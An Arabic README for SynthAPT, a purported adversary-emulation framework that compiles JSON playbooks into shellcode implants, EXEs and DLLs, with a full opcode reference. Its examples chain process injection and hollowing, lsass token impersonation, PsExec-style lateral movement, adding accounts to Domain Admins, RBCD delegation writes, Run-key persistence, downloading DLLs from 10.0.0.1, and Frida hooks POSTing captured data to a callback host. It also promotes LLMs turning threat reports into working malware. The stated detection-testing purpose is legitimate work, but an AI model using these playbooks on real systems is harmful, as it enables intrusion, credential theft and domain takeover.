SynthAPT

نظرة عامة
SynthAPT هو إطار عمل لمحاكاة الخصوم يعتمد على السيناريوهات (playbooks) لتكرار مسارات الهجوم المعقدة. وهو مصمم للتحقق من صحة أنظمة الكشف المتقدمة وعوامل التحقيق القائمة على الذكاء الاصطناعي. الفكرة الأساسية هي أن سلوك البرامج الضارة يمكن التعبير عنه بصيغة JSON وتجميعه إلى برامج ضارة وظيفية، مما يتيح تطوير سيناريوهات واقعية بسرعة باستخدام نماذج اللغة الكبيرة (LLMs).

الزرع الأساسي (implant) هو حمولة من شيلكود (shellcode) يقودها مفسر سيناريو (playbook interpreter). يحدد السيناريو مسار الهجوم بالكامل مسبقًا، ويتبعه الزرع، متنقلًا في البيئة عبر حقن العمليات (process injection)، والحركة الجانبية (lateral movement)، وما إلى ذلك. كل زرع ينشأ كخيط مستقل (thread) مع مجموعة تعليمات خاصة به، لذلك يتم التعبير عن الهجمات متعددة المراحل (مثل الوصول الأولي → رفع الامتيازات → الحركة الجانبية → تسريب البيانات) كرسم بياني من الأزرع المتعاونة، وكلها محددة مسبقًا في السيناريو. هذا يوفر ثلاث مزايا رئيسية:
- يمكن للحمولات محاكاة البرامج الضارة الحقيقية دون الحاجة إلى بنية تحتية للقيادة والتحكم (C2) - حيث يتم تضمين مسار الهجوم بالكامل في الحمولة ويمكن محاكاة تفاعلات C2.
- الحمولات قابلة للتكرار - فهي تنفذ مسار الهجوم بالكامل بنفس الطريقة في كل مرة، مما يجعلها مناسبة لاختبارات الانحدار (regression testing) لأنظمة الكشف.
- يمكن لنماذج اللغة الكبيرة (LLMs) ترجمة تقارير استخبارات التهديدات والمدونات مباشرة إلى حمولات عاملة، دون الحاجة إلى خبرة هجومية أو بناء برامج ضارة من الصفر.

الميزات
- شيلكود مستقل عن الموضع (Position-independent shellcode) - الزرع هو PIC بالكامل ويمكن دمجه في أي محمل (loader) أو حاقن (injector).
- مكتبة أوامر (opcodes) غنية - التنفيذ، التلاعب بالرموز (tokens)، حقن العمليات، تجويف العمليات (process hollowing)، الحركة الجانبية، تعداد وتعديل Active Directory، السجل (registry)، الخدمات، والمزيد.
- حمولات ذاتية التكاثر - يمكن للزرع أن ينسخ نفسه كملف EXE أو DLL بمجموعة مهام مختلفة، مما يتيح التسليم متعدد المراحل دون الحاجة إلى C2.
- صيغ إخراج مرنة - تجميع سيناريو إلى شيلكود خام، أو PE EXE، أو PE DLL.
- Python داخل الذاكرة (In-memory Python) - يمكن تحميل مفسر Python بشكل عكسي (reflectively) في وقت التشغيل، مما يكشف جميع قدرات الزرع كوحدة Python للبرمجة المرنة.
- محاكاة الشخصيات غير اللاعبة (NPC simulation) - أوامر 'explorer' تسمح بفك ضغط (unzipping) وإطلاق الحمولات تلقائيًا بطريقة تعيد إنتاج آثار تفاعل المستخدم (عند حقنها في Explorer.exe).
- محرر TUI مع وكيل LLM - محرر سيناريوهات قائم على الواجهة الطرفية (TUI) مع وكيل Claude مدمج يمكنه إنشاء وتحرير السيناريوهات من اللغة الطبيعية أو استخبارات التهديدات.
- محمل BOF - يمكن توسيع الوظائف باستخدام ملفات Beacon Object Files القياسية.
البناء من المصدر
إذا كنت لا تريد استخدام الإصدار الجاهز (release)، يمكنك التجميع كالتالي:
- cargo
- rustup
- binutils-mingw-w64-x86-64```bash
cargo install cargo-make
rustup toolchain install nightly
rustup target add x86_64-pc-windows-gnu --toolchain nightly
sudo apt install gcc-mingw-w64-x86-64
بناء باستخدام cargo make:```bash
cargo make build
./target/release/synthapt
سيؤدي هذا إلى تجميع shellcode والمحرر.
الاستخدام
تشغيل SynthAPT بدون أي أوامر سينقلك إلى المحرر. يمكنك تقديم مفتاح API لـ Claude وعرض التغييرات أثناء كتابة الأوامر النصية.```bash
SynthAPT playbook editor and compiler
Usage: synthapt [COMMAND]
Commands:
edit Open the TUI editor with a playbook loaded from PATH
validate Validate a playbook JSON file and print any errors
export-skill Export the agent system prompt as a Claude Code slash command skill
compile Compile a playbook to a payload
إذا كنت ترغب في استخدام LLM آخر أو اشتراك، يمكنك تشغيل `synthapt export-skill` واستخدام ذلك مع أي إعداد برمجي لديك.
يجب أن يُخرج playbook بصيغة JSON. قم بتجميعه إلى payload باستخدام الأمر compile:```bash
Compile a playbook to a payload
Usage: synthapt compile [OPTIONS] <PLAYBOOK> [OUTPUT]
Arguments:
<PLAYBOOK> Path to the playbook JSON file
[OUTPUT] Output file path (default: payload.bin / payload.exe / payload.dll)
Options:
-e, --exe Compile to PE EXE
-d, --dll Compile to PE DLL
-b, --base <BASE> Override the embedded base shellcode with a custom binary
-h, --help Print help
مرجع أكواد التعليمات
يمكن تعريف الثوابت كسلاسل نصية، أو كائنات سداسية عشرية، أو كائنات base64:```json
"constants": [
"c:\windows\temp\file.txt",
{ "hex": "deadbeef" },
{ "base64": "SGVsbG8=" }
]
---
### end (0x00)
نهاية مجموعة المهام. يُضاف تلقائيًا بواسطة المترجم - لست بحاجة لإضافته.
---
### store_result (0x01)
تخزين نتيجة العملية الأخيرة في متغير.
| Field | Type | |
|-------|------|-|
| var | u16 | **مطلوب** |```json
{ "op": "store_result", "var": 0 }
get_shellcode (0x02)
أعد وحدات بايت الشيلكود الحالية مع معرف مهمة اختياري و/أو قيمة سحرية مدمجة.
| Field | Type | |
|---|
| task | u8 | اختياري |
| magic | u32 hex string or number | اختياري |
---
### sleep (0x03)
النوم لعدد معين من المللي ثانية.
| Field | Type | |
|-------|------|-|
| ms | u32 | **مطلوب** |```json
{ "op": "sleep", "ms": 5000 }
run_command (0x04)
تنفيذ أمر عبر cmd.exe.
| Field | Type | |
|---|
| command | string | مطلوب |
| { "op": "run_command", "command": "whoami /all" } | | |
---
### get_cwd (0x05)
احصل على دليل العمل الحالي. لا وسائط.```json
{ "op": "get_cwd" }
read_file (0x06)
اقرأ ملفًا وأعد محتواه.
| الحقل | النوع | |
|---|
| path | string | مطلوب |
| { "op": "read_file", "path": "c:\users\public\data.txt" } | | |
| { "op": "read_file", "path": "%0" } | | |
---
### write_file (0x07)
كتابة بايتات إلى ملف.
| الحقل | النوع | |
|-------|------|-|
| path | string | **مطلوب** |
| content | bytes | *اختياري* (ملف فارغ إذا تم حذفه) |```json
{ "op": "write_file", "path": "c:\\temp\\out.txt", "content": "hello" }
{ "op": "write_file", "path": "%0", "content": "$1" }
check_error (0x08)
اطبع رمز الحالة لمتغير (0 = نجاح، غير صفري = خطأ).
| حقل | نوع | |
|---|
| var | u16 | مطلوب |
| { "op": "check_error", "var": 0 } | | |
---
### شرطي (0x09)
التفرع إلى فهارس مهام مختلفة بناءً على حالة المتغير.
| الحقل | النوع | |
|-------|------|-|
| mode | `"data"` أو `"error"` | **مطلوب** |
| var1 | u16 | **مطلوب** |
| var2 | u16 | *اختياري* (مقارنة متغيرين بدلاً من فحص واحد) |
| true | u16 | **مطلوب** (فهرس المهمة إذا كان الشرط صحيحاً) |
| false | u16 | **مطلوب** (فهرس المهمة إذا كان الشرط خاطئاً) |
`true_target` و `false_target` يتم قبولها كأسماء مستعارة لـ `true` و `false`.
أوضاع المتغير الواحد:
- `"data"` — صحيح إذا كان var1 يحتوي على بيانات غير فارغة
- `"error"` — صحيح إذا كانت حالة var1 تساوي 0 (نجاح)
أوضاع المتغيرين (عند وجود var2):
- `"data"` — صحيح إذا كانت بيانات var1 تساوي بيانات var2
- `"error"` — صحيح إذا كان رمز خطأ var1 يساوي رمز خطأ var2```json
{ "op": "conditional", "mode": "error", "var1": 0, "true": 3, "false": 5 }
{ "op": "conditional", "mode": "data", "var1": 0, "var2": 1, "true": 3, "false": 5 }
set_var (0x0A)
تعيين متغير إلى قيمة حرفية.
| الحقل | النوع | |
|---|
| var | u16 | مطلوب |
| data | bytes | اختياري (فارغ إذا تم حذفه) |
يتم تخزين القيم الحرفية (literal strings) وقيم hex/base64 مع بادئة نتيجة طولها 5 بايت لتظهر كنتائج عمليات عادية عند قراءتها. يتم تمرير مراجع المتغيرات ($n) والثوابت (%n) كما هي.```json
{ "op": "set_var", "var": 0, "data": "hello world" }
{ "op": "set_var", "var": 1, "data": { "hex": "deadbeef" } }
---
### print_var (0x0B)
اطبع محتويات متغير إلى stdout (تصحيح). احذف `var` لطباعة نتيجة العملية الأخيرة.
| Field | Type | |
|-------|------|-|
| var | u16 | *اختياري* (يطبع آخر نتيجة إذا كان غائبًا) |```json
{ "op": "print_var", "var": 0 }
{ "op": "print_var" }
goto (0x0C)
قفزة غير مشروطة إلى فهرس مهمة ضمن مجموعة المهام الحالية.
| Field | Type | |
|---|
| target | u16 | required |
| { "op": "goto", "target": 2 } | | |
---
### migrate (0x0D)
حقن shellcode في عملية تطابق سلسلة بحث أو PID.
| Field | Type | |
|-------|------|-|
| task_id | u8 | **مطلوب** |
| search | string or number | *اختياري* (فارغ = لا بحث؛ رقم = PID الهدف) |
| magic | u32 hex string or number | *اختياري* |```json
{ "op": "migrate", "task_id": 1, "search": "explorer.exe" }
{ "op": "migrate", "task_id": 1, "search": 1234 }
{ "op": "migrate", "task_id": 1, "search": "notepad", "magic": "0x18181818" }
list_procs (0x0E)
سرد العمليات الجارية. يعيد سطورًا مفصولة بعلامات التبويب: pid\timage\tcmdline\n. لا وسائط.```json
{ "op": "list_procs" }
---
### get_const (0x0F)
تحميل ثابت في النتيجة الأخيرة. يقبل `index` أو `const_idx` كاسم الحقل.
| Field | Type | |
|-------|------|-|
| index | u16 | **مطلوب** |```json
{ "op": "get_const", "index": 0 }
wmi_exec (0x10)
قم بتنفيذ أمر عبر WMI، اختيارياً على مضيف بعيد.
---
### http_send (0x11)
إرسال طلب HTTP/S.
| الحقل | النوع | |
|-------|------|-|
| host | string | **مطلوب** |
| method | string | *اختياري* (الإفتراضي: `"GET"`) |
| port | u16 | *اختياري* (الإفتراضي: `80`) |
| path | string | *اختياري* (الإفتراضي: `"/"`) |
| secure | bool | *اختياري* (الإفتراضي: `false`) |
| body | bytes | *اختياري* (فارغ إذا تم حذفه) |```json
{ "op": "http_send", "host": "example.com" }
{ "op": "http_send", "method": "POST", "host": "10.0.0.1", "port": 443, "path": "/data", "secure": true, "body": "$0" }
sacrificial (0x12)
قم بإنشاء عملية معلقة، وحقن شيلكود، واستئنافها.
---
### redirect_stdout (0x13)
إعادة توجيه stdout إلى ملف أو أنبوب مسمى. يذهب إخراج `run_command` اللاحق إلى هناك.
| Field | Type | |
|-------|------|-|
| path | string | **مطلوب** |```json
{ "op": "redirect_stdout", "path": "c:\\temp\\log.txt" }
{ "op": "redirect_stdout", "path": "\\\\.\\pipe\\output" }
shellcode_server (0x14)
ابدأ خادم TCP يخدم التعليمات البرمجية للقذيفة (shellcode) للعملاء المتصلين. يتلقى كل عميل نسخة بقيمة سحرية متزايدة.
| الحقل | النوع | |
|---|
| port | u16 | مطلوب |
| magic_base | u32 سلسلة سداسية عشرية أو رقم |
---
### resolve_hostname (0x15)
حل اسم المضيف إلى سلسلة عنوان IPv4.
| Field | Type | |
|-------|------|-|
| hostname | string | **مطلوب** |```json
{ "op": "resolve_hostname", "hostname": "dc01.corp.local" }
psexec (0x16)
انسخ ملفًا ثنائيًا إلى مضيف بعيد عبر SMB وقم بتنفيذه كخدمة (حركة جانبية على غرار PsExec).
---
### generate_exe (0x17)
إنشاء ملف تنفيذي PE مع تضمين الشيل كود والبايت كود الحاليين.
| Field | Type | |
|-------|------|-|
| task_id | u8 | **مطلوب** |```json
{ "op": "generate_exe", "task_id": 1 },
{ "op": "store_result", "var": 0 },
{ "op": "write_file", "path": "c:\\temp\\payload.exe", "content": "$0" }
run_bof (0x18)
تنفيذ ملف كائن المنارة (BOF).
---
### query_ldap (0x19)
استعلام عن دليل LDAP.
| الحقل | النوع | |
|-------|------|-|
| base | string | **مطلوب** (DN الأساسي) |
| filter | string | **مطلوب** |
| scope | u8 | *اختياري* (الافتراضي: `2` = شجرة فرعية; `0` = الأساس, `1` = مستوى واحد) |
| attribute | string | *اختياري* (فارغ = إرجاع جميع السمات) |```json
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(objectClass=user)", "attribute": "sAMAccountName" }
{ "op": "query_ldap", "base": "DC=corp,DC=local", "filter": "(&(objectClass=computer)(operatingSystem=*Server*))", "scope": 2 }
set_ad_attr_str (0x1A)
تعيين سمة Active Directory إلى قيمة string.
---
### set_ad_attr_bin (0x1B)
تعيين سمة Active Directory إلى قيمة ثنائية. مرر قيمة فارغة لحذف السمة.
| الحقل | النوع | |
|-------|------|-|
| dn | string | **مطلوب** |
| attr | string | **مطلوب** |
| value | bytes | **مطلوب** (فارغ = حذف السمة) |```json
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$0" }
portscan (0x1C)
افحص منافذ TCP على هدف أو أكثر. يُرجع سطورًا تحتوي على host\tport\n للمنافذ المفتوحة فقط.
---
### set_user_password (0x1D)
تعيين كلمة مرور مستخدم محلي أو نطاق عبر NetUserSetInfo.
| الحقل | النوع | |
|-------|------|-|
| username | string | **مطلوب** |
| password | string | **مطلوب** |
| server | string | *اختياري* (فارغ = الجهاز المحلي) |```json
{ "op": "set_user_password", "username": "Administrator", "password": "NewP@ss1" }
{ "op": "set_user_password", "server": "dc01.corp.local", "username": "svc_account", "password": "NewP@ss1" }
add_user_to_localgroup (0x1E)
إضافة مستخدم إلى مجموعة محلية عبر NetLocalGroupAddMembers.
---
### remove_user_from_localgroup (0x1F)
إزالة مستخدم من مجموعة محلية عبر NetLocalGroupDelMembers.
| Field | Type | |
|-------|------|-|
| group | string | **مطلوب** |
| username | string | **مطلوب** |
| server | string | *اختياري* (فارغ = الجهاز المحلي) |```json
{ "op": "remove_user_from_localgroup", "group": "Administrators", "username": "backdoor" }
get_user_sid (0x20)
ابحث عن سلسلة SID الخاصة بمستخدم عبر LookupAccountName.
| Field | Type | |
|---|
| username | string | مطلوب |
| server | string | اختياري (فارغ = الجهاز المحلي) |
يعيد سلسلة SID، على سبيل المثال S-1-5-21-....```json
{ "op": "get_user_sid", "username": "Administrator" }
{ "op": "get_user_sid", "server": "dc01.corp.local", "username": "attacker$" }
---
### add_user_to_group (0x21)
إضافة مستخدم إلى مجموعة مجال عبر NetGroupAddUser.
| الحقل | النوع | |
|-------|------|-|
| group | string | **مطلوب** |
| username | string | **مطلوب** |
| server | string | *اختياري* (فارغ = DC محلي) |```json
{ "op": "add_user_to_group", "server": "dc01.corp.local", "group": "Domain Admins", "username": "compromised" }
remove_user_from_group (0x22)
إزالة مستخدم من مجموعة نطاق عبر NetGroupDelUser.
---
### create_rbcd_ace (0x23)
بناء ACE ثنائي للتفويض المقيد القائم على الموارد. النتيجة مناسبة للكتابة مباشرة إلى `msDS-AllowedToActOnBehalfOfOtherIdentity`.
| الحقل | النوع | |
|-------|------|-|
| sid | string | **مطلوب** (سلسلة SID، مثلًا من `get_user_sid`) |```json
{ "op": "get_user_sid", "username": "attacker$" },
{ "op": "store_result", "var": 0 },
{ "op": "create_rbcd_ace", "sid": "$0" },
{ "op": "store_result", "var": 1 },
{ "op": "set_ad_attr_bin", "dn": "CN=target,CN=Computers,DC=corp,DC=local", "attr": "msDS-AllowedToActOnBehalfOfOtherIdentity", "value": "$1" }
reg_create_key (0x24)
إنشاء مفتاح تسجيل.
| الحقل | النوع | |
|---|
| key | string | مطلوب (المسار الكامل، مثل: "HKLM\\SOFTWARE\\MyApp") |
| { "op": "reg_create_key", "key": "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" } | | |
---
### reg_delete_key (0x25)
حذف مفتاح التسجيل.
| Field | Type | |
|-------|------|-|
| key | string | **مطلوب** |```json
{ "op": "reg_delete_key", "key": "HKLM\\SOFTWARE\\MyApp" }
reg_set_value (0x26)
تعيين قيمة سجل.
### reg_query_value (0x27)
استعلام عن قيمة في السجل. يعيد وحدات البايت الخام للقيمة.
| الحقل | النوع | |
|-------|------|-|
| key | string | **مطلوب** |
| value_name | string | **مطلوب** (سلسلة فارغة للقيمة الافتراضية) |```json
{ "op": "reg_query_value", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", "value_name": "ProductName" }
make_token (0x28)
إنشاء رمز انتحال عبر LogonUser وانتحاله. نوع تسجيل الدخول الافتراضي هو 9 (LOGON32_LOGON_NEW_CREDENTIALS)، والذي يستخدم بيانات الاعتماد المقدمة للاتصالات الشبكية الصادرة مع الحفاظ على الرمز المحلي دون تغيير.
---
### impersonate_process (0x29)
افتح رمز عملية وانتحل هويته. مفيد لتصعيد الامتيازات أو سرقة الرموز الجانبية.
| الحقل | النوع | |
|-------|------|-|
| search | string | **مطلوب** (يطابق اسم الصورة أو سطر الأوامر) |```json
{ "op": "impersonate_process", "search": "lsass" }
{ "op": "impersonate_process", "search": "winlogon.exe" }
enable_privilege (0x2A)
تمكين امتياز على رمز العملية.
---
### list_process_privs (0x2B)
قائمة بأسماء الامتيازات وحالتها (مفعلة/معطلة) لعملية. تُرجع سطورًا بالشكل `name\tenabled\n` أو `name\tdisabled\n`.
| الحقل | النوع | |
|-------|------|-|
| search | string | *اختياري* (فارغ = العملية الحالية) |```json
{ "op": "list_process_privs" }
{ "op": "list_process_privs", "search": "explorer" }
list_thread_privs (0x2C)
قائمة الامتيازات على رمز الخيط الحالي. تُرجع نفس تنسيق list_process_privs. لا توجد وسائط.```json
{ "op": "list_thread_privs" }
---
### delete_file (0x2D)
حذف ملف.
| الحقل | النوع | |
|-------|------|-|
| path | string | **مطلوب** |```json
{ "op": "delete_file", "path": "c:\\temp\\payload.exe" }
revert_to_self (0x2E)
التراجع إلى رمز العملية الأصلي، وإنهاء أي انتحال. لا وسائط.```json
{ "op": "revert_to_self" }
### start_service (0x2F)
ابدأ خدمة Windows.
| الحقل | النوع | |
|-------|------|-|
| service_name | string | **مطلوب** |
| target | string | *اختياري* (فارغ = الجهاز المحلي) |```json
{ "op": "start_service", "service_name": "MySvc" }
{ "op": "start_service", "target": "192.168.1.10", "service_name": "MySvc" }
delete_service (0x30)
حذف خدمة ويندوز.
| الحقل | النوع | |
|---|
| service_name | string | مطلوب |
---
### create_thread (0x31)
قم بإنشاء سلسلة تنفيذ جديدة في العملية الحالية تشغل نسخة من الشيلكود. إذا تم حذف `magic`، يتم فحص أكوام العملية للعثور على قيمة سحرية فريدة لا تتعارض مع المثيلات الموجودة.
| الحقل | النوع | |
|-------|------|-|
| task | u8 | *اختياري* (احذفه أو استخدم `255` = نفس مجموعة المهام للسلسلة الحالية) |
| magic | u32 سلسلة ست عشرية أو رقم | *اختياري* (يتم الكشف تلقائيًا إذا تم حذفه) |
> **تحذير**: حذف `task` يؤدي إلى تشغيل نفس مجموعة المهام في سلسلة تنفيذ جديدة. إذا قامت مجموعة المهام باستدعاء `create_thread` مرة أخرى، يؤدي ذلك إلى سلاسل تنفيذ غير محدودة.```json
{ "op": "create_thread", "task": 2 }
{ "op": "create_thread", "task": 2, "magic": "0x18181818" }
generate_dll (0x32)
توليد DLL مع كود shellcode الحالي مضمنًا. يتم تشغيل shellcode عند DLL_PROCESS_ATTACH وتصدير دالة مسماة تقوم أيضًا بتشغيل shellcode.
---
### shell_execute (0x33)
تنفيذ ملف باستخدام ShellExecuteEx عبر COM. تظهر العملية الناتجة كما لو أنها أُطلقت بواسطة shell.
| الحقل | النوع | |
|-------|------|-|
| path | string | **مطلوب** |
| verb | string | *اختياري* (مثل `"open"`, `"runas"`) |
| args | string | *اختياري* |```json
{ "op": "shell_execute", "path": "C:\\Windows\\System32\\cmd.exe", "verb": "open", "args": "/c whoami" }
{ "op": "shell_execute", "path": "C:\\Users\\Public\\payload.exe", "verb": "runas", "args": "" }
استخراج أرشيف ZIP باستخدام شل Windows.
| Field | Type | |
|---|
| path | string | مطلوب (المسار إلى ملف ZIP) |
يستخرج إلى مجلد بنفس اسم ملف ZIP (بدون الامتداد) في نفس الدليل.```json
{ "op": "shell_extract", "path": "C:\Users\alice\Downloads\Invoice_2024.zip" }
---
### shell_execute_explorer (0x35)
تنفيذ ملف عبر explorer.exe كعملية أصل باستخدام COM. تبدو العملية المنبثقة وكأنها تم إطلاقها بواسطة المستخدم من Explorer.
| الحقل | النوع | |
|-------|------|-|
| path | string | **مطلوب** |
| verb | string | *اختياري* |
| args | string | *اختياري* |```json
{ "op": "shell_execute_explorer", "path": "C:\\Users\\alice\\Downloads\\Invoice.js", "verb": "open", "args": "" }
load_library (0x36)
قم بتحميل DLL في العملية الحالية عبر LoadLibraryW.
| حقل | النوع | |
|---|
| path | string | مطلوب |
| { "op": "load_library", "path": "C:\Users\Public\payload.dll" } | | |
### pyexec (0x37)
تنزيل مكتبة Python DLL من URL (مخزنة مؤقتًا في الذاكرة بعد التنزيل الأول)، ثم تنفيذ سكريبت Python. يكشف عن وحدة `agent` مع روابط لجميع أوامر الوكيل.
| الحقل | النوع | |
|-------|------|-|
| url | string | *اختياري* (URL لمكتبة Python DLL; فارغ = استخدام Python المحملة بالفعل) |
| script | string | *اختياري* (كود Python للتنفيذ; فارغ = التهيئة دون تشغيل) |```json
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "import agent; print(agent.get_cwd())" }
{ "op": "pyexec", "url": "http://10.0.0.1/python312.dll", "script": "" }
{ "op": "pyexec", "script": "import agent; agent.run_command('calc.exe')" }
hollow (0x38)
إفراغ العملية: إنشاء عملية شرعية معلقة، استبدال نقطة الدخول الخاصة بها بـ shellcode، ثم استئنافها.
---
### migrate_apc (0x39)
قم بإنتاج عملية معلقة، وخصص ذاكرة قابلة للقراءة والكتابة والتنفيذ، واكتب شيلكود، وقم بإدراج APC في الخيط الرئيسي، واستأنف. يُرجع معرف العملية المنتجة.
| Field | Type | |
|-------|------|-|
| image | string | **required** |
| task_id | u8 | **required** |
| magic | u32 hex string or number | *optional* |```json
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\notepad.exe", "task_id": 1 }
{ "op": "migrate_apc", "image": "C:\\Windows\\System32\\svchost.exe", "task_id": 1, "magic": "0x18181818" }
register_service (0x3A)
سجل العملية الحالية كخدمة ويندوز عن طريق استدعاء StartServiceCtrlDispatcher. يجب استدعاؤها مبكرًا عندما تبدأ العملية بواسطة مدير التحكم بالخدمات (Service Control Manager)، وإلا سيقوم مدير التحكم بقتلها بعد حوالي 30 ثانية. تقوم بتشغيل اتصال مدير التحكم بالخدمات في خلفية مؤشر ترابط بحيث تستمر مجموعة المهام الرئيسية بشكل طبيعي.
| الحقل | النوع | |
|---|
| service_name | string | مطلوب (اسم مستعار: name) |
| { "op": "register_service", "service_name": "MySvc" } | | |
---
### exit_process (0x3B)
إنهاء العملية الحالية.
| الحقل | النوع | |
|-------|------|-|
| exit_code | u32 | *اختياري* (الافتراضي: `0`) |```json
{ "op": "exit_process" }
{ "op": "exit_process", "exit_code": 1 }
hollow_apc (0x3C)
تشغيل عملية معلقة وحقن شيلكود عبر APC. مشابه لـ migrate_apc ولكن مع إمكانية تزييف PPID بشكل اختياري.
---
### frida_hook (0x3F)
قم بتنزيل مكتبة Frida gadget DLL من عنوان URL (يتم تخزينها مؤقتًا بعد التنزيل الأول) وقم بتثبيت خطاف JavaScript.
| الحقل | النوع | |
|-------|------|-|
| url | string | **مطلوب** |
| script | string | **مطلوب** (JavaScript باستخدام واجهة برمجة تطبيقات Frida) |
| name | string | *اختياري* (اسم الخطاف للرجوع إليه لاحقًا باستخدام `frida_unhook`) |
| callback_host | string | *اختياري* (المضيف الذي سيتم إرسال رسائل `send()` إليه عبر HTTP POST) |
| callback_port | u16 | *اختياري* |
| batch_size | u32 | *اختياري* (عدد الرسائل لكل دفعة HTTP POST؛ الافتراضي: `50`) |
| flush_interval | u32 | *اختياري* (فاصل التدفق بالمللي ثانية؛ الافتراضي: `5000`) |
الرسائل المرسلة عبر `send()` في JavaScript إما تُنشر إلى `callback_host:callback_port/frida` أو تُكتب إلى stdout إذا لم يتم تكوين رد اتصال.```json
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "Interceptor.attach(Module.findExportByName('kernel32.dll', 'CreateFileW'), { onEnter: function(args) { send(args[0].readUtf16String()); } });" }
{ "op": "frida_hook", "url": "http://10.0.0.1/frida.dll", "script": "...", "name": "my_hook", "callback_host": "10.0.0.5", "callback_port": 8080 }
frida_unhook (0x40)
إلغاء تحميل خطاف Frida. بدون وسائط، يقوم بإلغاء تحميل جميع الخطافات.
### kill (0x42)
اقتل مثيل وكيل قيد التشغيل بواسطة قيمته السحرية.
| الحقل | النوع | |
|-------|------|-|
| magic | u32 hex string or number | *اختياري* (احذف لقتل المثيل الحالي) |```json
{ "op": "kill" }
{ "op": "kill", "magic": "0x18181818" }
http_beacon (0x43)
الاتصال بخادم C2 عبر HTTP واستقصاء مهام bytecode.
---
### mem_read (0x44)
اقرأ البايتات الخام من عنوان ذاكرة في العملية الحالية أو عملية عن بعد.
| الحقل | النوع | |
|-------|------|-|
| address | hex string | **مطلوب** (عنوان كأحرف سداسية عشرية، على سبيل المثال `"7FFE0030"`؛ يتم إزالة البادئة `0x` تلقائيًا) |
| size | u32 | **مطلوب** |
| pid | u32 | *اختياري* (عملية عن بعد؛ احذف للقراءة المحلية) |```json
{ "op": "mem_read", "address": "7FFE0030", "size": 64 }
{ "op": "mem_read", "address": "0x7FFE0000", "size": 256, "pid": 1234 }
{ "op": "mem_read", "address": "$0", "size": 128 }
dll_list (0x45)
تجول في PEB LDR InLoadOrderModuleList وأعد الوحدات المحملة. يعيد Vec<ProcessResult<ModuleInfo>> بتنسيق postcard.
---
### mem_map (0x46)
تعداد مناطق الذاكرة الافتراضية عبر `VirtualQuery`/`VirtualQueryEx`. يُرجع متسلسلًا بتنسيق postcard: `Vec<ProcessResult<MemRegion>>`. يتخطى مناطق FREE؛ تتضمن مناطق IMAGE اسم الوحدة وقسم PE.
| الحقل | النوع | |
|-------|------|-|
| pid | u32 أو `"all"` | *اختياري* (إذا حذفت = العملية الحالية؛ `"all"` = كل عملية يمكن الوصول إليها) |```json
{ "op": "mem_map" }
{ "op": "mem_map", "pid": 1234 }
{ "op": "mem_map", "pid": "all" }
malfind (0x47)
ابحث عن مناطق الذاكرة القابلة للتنفيذ الخاصة الملتزمة — مؤشرات على حقن الشيلكود أو مكتبات DLL الانعكاسية. يتجاوز الصفحات الفارغة ويسجل المناطق التي تحتوي على رؤوس MZ. يعيد سلسلة Vec<ProcessResult<MalfindHit>> مسلسلة بتنسيق Postcard.
| الحقل | النوع | |
|---|
| pid | u32 أو "all" |
---
### ldr_check (0x48)
قم بإجراء مرجع تبادلي لمناطق ذاكرة IMAGE مقابل قائمة وحدات PEB للعثور على DLLs غير مرتبطة أو مخفية — المناطق التي تحتوي على رؤوس MZ غير موجودة في `InLoadOrderModuleList`. يُرجع `Vec<ProcessResult<LdrCheckHit>>` مسلسلًا باستخدام postcard.
| الحقل | النوع | |
|-------|------|-|
| pid | u32 أو `"all"` | *اختياري* (الحذف = العملية الحالية؛ `"all"` = كل عملية يمكن الوصول إليها) |```json
{ "op": "ldr_check" }
{ "op": "ldr_check", "pid": 1234 }
{ "op": "ldr_check", "pid": "all" }
الكشف
مثل جميع الأطر، فإن الغرسة لها بصمة مميزة في الذاكرة، والعديد من السلاسل النصية العادية التي تكشف عنها. يمكنك بناء تواقيع بناءً على ملف shellcode الأساسي: out/shellcode.bin
الإسناد
يمدد هذا المشروع Rustic64Shell من safedev.
تم تحميل مكتبة Python DLL بشكل انعكاسي من farfella